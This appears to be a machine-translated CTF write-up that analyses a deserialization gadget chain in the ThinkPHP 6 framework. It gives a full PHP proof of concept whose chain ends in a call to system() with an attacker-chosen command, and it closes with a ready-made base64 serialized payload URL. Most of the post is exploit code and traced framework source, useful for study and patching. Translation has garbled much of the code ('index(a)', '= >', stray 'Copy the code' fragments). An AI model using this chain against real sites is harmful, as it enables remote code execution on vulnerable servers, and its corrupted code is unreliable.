preface

Last year’s An Xun Cup, there is a topic of iamThinking (it seems to be this name), which examined the deserialization of TP6 (you can download the source code by visiting www.zip), according to the convention, I still haven’t done it, I don’t know how to bypass the regular emmmm, To do not do the master presented the key source code, if the master understand, welcome to comment


      
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index(a)
    {
        
        echo "."/ >";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit(a); } } unserialize($paylaod); }}}Copy the code

Although the problem was not solved, tp6’s deserialized POP chain had to learn a wave.

PoC offer


      
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data;
    private $withAttr = ["axin"= >"system"];

    public function get(a)
    {
        $this->data = ["axin"= >"ls"];  // The command you want to execute just needs to have the same key as withAttr}}namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = ' ';
    function __construct(a){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql'; }}namespace think\model;

use think\Model;

class Pivot extends Model
{
    function __construct($obj=' ')
    {
        parent::__construct();
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(base64_encode(serialize($b)));
Copy the code

The big guys don’t seem to have a ready-made PoC, I made one here, you’ll have to make do with it, let’s take a look at the whole POP chain.

Utilizing chain analysis

This time, the chain behind __toString() is the same as TP5.2. x, but the first half of the chain is inconsistent, but I only analyzed TP5.1. x before, and the difference between 5.1.x and 5.2.x is the latter half of the chain is inconsistent. That is to say, the use chain of TP5.1. x is completely different from that of TP6.x. When I was preparing to reproduce the POP chain of TP5.2. x, I could not install TP5.2. x with Composer, but the official website said that 5.2 can only be installed with composer…….

First list using the chain:

think\Model --> __destruct() think\Model --> save() think\Model --> updateData() think\Model --> checkAllowFields() Think \Model --> db() think\Model \concern\Conversion --> __toString() think\model\concern\Conversion --> __toJson() think\model\concern\Conversion --> __toArray() think\model\concern\Attribute --> getAttr() think\model\concern\Attribute --> getValue()Copy the code

As you can see, I split the utility chain into two parts, the first part is up to the string concatenation operation, the second part is from the string concatenation magic method, all the way to the trigger point of the code execution. And then we’re going to tease out the chains as we construct the POC.

Model’s __destruct method

public function __destruct(a)
{
    echo LazySave value:.$this->lazySave."<br>";
    if ($this->lazySave) {
        $this->save(); }}Copy the code

To execute the save method, lazySave=true is required

Follow up with the save method, because we’re only looking at the updateData method, so I’ll omit the code after updateData:

    public function save(array $data = [], string $sequence = null): bool
    {
        // Data object assignment
        $this->setAttrs($data);
        if ($this->isEmpty() || false= = =$this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
		xxxxxxxxxxxx
        return true;
    }
Copy the code

$this->isEmpth()==false and $this->trigger()==true) and $this->exists=true

isEmpty

public function isEmpty(a): bool
{
    return empty($this->data);
}
Copy the code

Just make sure this->data is not null

trigger

protected function trigger(string $event): bool
{
    if (!$this->withEvent) {
        return true;
    }

    $call = 'on' . Str::studly($event);

    try {
        if (method_exists(static::class, $call)) {
            $result = call_user_func([static::class, $call], $this);
        } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
            $result = self::$event->trigger(static::class . '. ' . $event, $this);
            $result = empty($result) ? true : end($result);
        } else {
            $result = true;
        }

        return false === $result ? false : true;
    } catch (ModelEventException $e) {
        return false; }}Copy the code

$this->exists==true; $this->exists==true;

    protected function updateData(a): bool
    {
        echo "The updateData execution -- -- -- -- -- < br >";
        // Event callback
        if (false= = =$this->trigger('BeforeUpdate')) {  // After our previous setup, skip this one
            return false;
        }

        $this->checkData();

        // Get updated data
        $data = $this->getChangedData();

        if (empty($data)) {
            // Associated update
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // Automatically writes the update time
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // Check the allowed field
        $allowFields = $this->checkAllowFields();

        xxxxxxxxx
Copy the code

In order to call checkAllowFields(), we need to make sure that we don’t return it directly, so $data can’t be empty, so we follow up with getChangedData().

public function getChangedData(a): array
{
    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
        if ((empty($a) || empty($b)) && $a ! == $b) {return 1;
        }

        returnis_object($a) || $a ! = $b ?1 : 0;
    });

    // Read-only fields are not allowed to be updated
    foreach ($this->readonly as $key => $field) {
        if (isset($data[$field])) {
            unset($data[$field]); }}return $data;
}
Copy the code

$this->force==true; $this->force==true; $this->force==true So this is checkAllowFields()

protected function checkAllowFields(a): array
{
    echo Enter the checkAllowFields() function 

; // Check the field if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table); } return $this->field; } xxxxxxx } Copy the code

$this->schema and $this->field to execute db();

public function db($scope = []): Query
    {
        echo "Enter db() 

"
; / * *@var Query $query */ echo "The values of the variables in the db function are as follows:; echo "connection=".$this->connection."<br>"; echo "name="; var_dump($this->name);echo "<br>"; echo "suffix=".$this->suffix."<br>"; $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk); } Copy the code

$this->suffix = $db->connect(); $this->connection==’mysql’; Now that we know how to set the values of each variable, we need to find a suitable class. Since the Model class is abstract and cannot be instantiated, we need to find a subclass of the Model class. As with TP5.1, we use the Pivot class to construct the PoC.

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = ' ';
    function __construct(a){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql'; }}namespace think\model;

use think\Model;

class Pivot extends Model
{}Copy the code

$this->suffix = ‘suffix’; $this->suffix = ‘name’; $this->suffix = ‘name’; $this->suffix = ‘suffix’; Where his magic method __toString is as follows:

public function __toString(a)
{
    return $this->toJson();
}
Copy the code

Continue with toJson:

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
     return json_encode($this->toArray(), $options);
}
Copy the code

Follow up the toArray:

    public function toArray(a): array
    {
        echo "Enter toArray function!! 

"
; $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { xxxxxx } foreach ($this->hidden as $key => $val) { xxxxxx } // Merge associated data $data = array_merge($this->data, $this->relation); //$data=["axin"=>"ls"] foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // Associate model objects if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // Associate model objects if (!isset($this->hidden[$key]) || true! = =$this->hidden[$key]) { $item[$key] = $val->toArray(); }}elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && ! $hasVisible) { $item[$key] =$this->getAttr($key); } } xxxxxx return $item; } Copy the code

According to my initial POC,$data=[“axin”=>”ls”], so we come to the last getAttr() function, and we follow up

public function getAttr(string $name)
{
    echo "Enter the getAttr function!!!! 

"
; try { $relation = false; $value = $this->getData($name); // $name='axin' } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; } return $this->getValue($name, $value, $relation); } Copy the code

If you are familiar with the TP5.1. x pop chain, you must feel that getData is familiar. Let’s take a look.

Public function getData(string $name= null)//$name='axin' {echo <br>"; if (is_null($name)) { return $this->data; } $fieldName = $this->getRealFieldName($name); if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; } elseif (array_key_exists($fieldName, $this->relation)) { return $this->relation[$fieldName]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }Copy the code

Follow up getRealFieldName:

protected function getRealFieldName(string $name): string  // $name = 'axin'
{
    return $this->strict ? $name : Str::snake($name);
}
Copy the code

$this->strict=true, so ‘axin’, go back to getData,getData continues, $fieldName=’axin’; $this->data[‘axin’]; Return to getAttr() and proceed to getValue():

protected function getValue(string $name, $value, $relation = false)
{
    echo "Enter the getValue function!!!! 

"
; // Check the property getter $fieldName = $this->getRealFieldName($name); //$fieldName='axin' $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { echo "Code execution trigger reached!!

"
; $closure = $this->withAttr[$fieldName]; WithAttr = ["axin"=>"system"] withAttr = ["axin"=>"system"] $value = $closure($value, $this->data); }}elseif (method_exists($this, $method)) { xxxxxx } elseif (isset($this->type[$fieldName])) { xxxxx } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { xxxx } elseif ($relation) { xxxxxxxxxx } return $value; } Copy the code

This is done sequentially, and the default is to

$closure = $this->withAttr[$fieldName];  / / here withAttr = [" axin "= >" system "), $filedName = 'axin'
$value   = $closure($value, $this->data);// Execute system("ls", ["axin"=>"ls"])
Copy the code

As you can see, system(“ls”, [“axin”=>”ls”]) is executed, and the second argument to the system function is optional, which means this usage is legal

System (string $command [, int &$return_var]) : String XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX parameters

Command Indicates the command to be executed. Return_var If return_var is provided, the return status of an external command will be set to this variable.

At this point, THE second half of tp5.6. x pop chain is also over. $_GET[p] = $_GET[p] = $_GET[p] = $_GET[p] = $_GET[p]

/public/index.php/index/unser? p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOj E5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2 hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOj IxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxOD oiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3 M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0Oi JheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaX giO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2 E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D

reference

Look up to the big boys, respect

Xz.aliyun.com/t/6619 xz.aliyun.com/t/6479 www.anquanke.com/post/id/187… www.anquanke.com/post/id/187…